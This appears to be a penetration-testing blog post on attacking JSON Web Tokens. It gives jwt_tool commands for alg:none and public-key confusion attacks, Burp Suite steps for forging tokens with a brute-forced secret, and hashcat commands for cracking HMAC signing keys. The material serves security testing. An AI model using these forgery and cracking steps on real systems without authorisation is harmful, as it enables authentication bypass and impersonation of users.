JSON Web Token (JWT) is the proposed Internet standard, RFC 7519, for creating data with optional signature and/or optional encryption whose payload holds JSON that asserts some number of claims. The tokens are signed using a private secret or a public/private key.
Let’s take a deeper dive into decoding and manipulating JWTs. This is a great website that will quickly decode and modify a JWT.
Here is another fantastic tool that will automate modifying JWTs for penetration testing.
# Simple decode $ python3 jwt_tool.py <JWT> # Changes alg to None python3 jwt_tool.py <<JWT_TOKEN>> -X a # DIRTY ALL CHECKS python3 jwt_tool.py -M at -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" -rh "Authorization: Bearer eyJhbG...<JWT Token>"
Sign JWT with Public Cert after using HS256 ALG
This method signs the JWT with the Public Certifcate from the web server hosting the application/API to test if it will be accepted. If a call is successfuly made with the modified JWT, then the JWT could be modified with any values, and finally signed with the Public Certificate for usage!
# Get public key openssl s_client -connect <hostname>:443 # Copy the server certificate into a new file nano cert.pem -----BEGIN CERTIFICATE----- MIIGJTCCBQ2gAwIBAgIQDDaea1XwVFbuw0e+PqAE5TANBgkqhkiG9w0BAQsFADBG [TRUNCATED] MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRUwEwYDVQQLEwxTZXJ2ZXIg -----END CERTIFICATE----- # Then python3 jwt_tool.py <<JWT_TOKEN>> -X k -pk <<PUBKEY.PEM>> python3 jwt_tool.py <<JWT_TOKEN>> -X k -pk cert.pem
Burp Suite is the swiss-army knife for hacking tools, it has a multitude of bells and whistles. After adding the JWT Editor extension, JWTs can. be modified from within Burp Suite for immediate testing and exploitation.
Part 1 – Brute-force the secret key
- In Burp, load the JWT Editor extension from the BApp store.
- In the target application, generate a JWT token and send the HTTP request to Burp Repeater.
- Copy the JWT and brute-force the secret. This can be done using hashcat as follows:
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
If you’re using hashcat, this outputs the JWT, followed by the secret. Use a dicitionary list at
/path/to/jwt.secrests.list to use for brute-forcing.
Note that if you run the command more than once, you need to include the
--showflag to output the results to the console again.
Part 2 – Generate a forged signing key
- Using Burp Decoder, Base64 encode the secret that was brute-forced in the previous section.
- In Burp, go to the JWT Editor Keys tab and click New Symmetric Key. In the dialog, click Generate to generate a new key in JWK format. Note that you don’t need to select a key size as this will automatically be updated later.
- Replace the generated value for the
kproperty with the Base64-encoded secret.
- Click OK to save the key.
Part 3 – Modify and sign the JWT
- Go back to the target application’s request in Burp Repeater and switch to the extension-generated JSON Web Token message editor tab.
- In the payload, change the values of any claim.
- At the bottom of the tab, click
Sign, then select the key that was generated in the previous section.
- Make sure that the
Don't modify headeroption is selected, then click
OK. The modified token is now signed with the correct signature.
- Send the request and observe that the JWT was successfully used by the target application.
Cracking HS/HMAC Token
Try testing the HS token against weak password configurations by running the following hashcat cracking options. Try using longer dictionaries, custom dictionaries, mangling rules, or brute force attacks.
hashcat (https://hashcat.net/hashcat/) is ideal for this as it is highly optimised for speed. Just add your JWT to a text file, then use the following syntax to give you a good start:
# Dictionary Attacks hashcat -a 0 -m 16500 jwt.txt passlist.txt # Rule-Based Attack hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule # Brute-Force Attack: hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
Please note that the source code of the JWT Hashcat module (hashmode 16500) at
src/modules/module_16500.cshows that RSA/RS tokens are not supported and only HS/HMAC types are.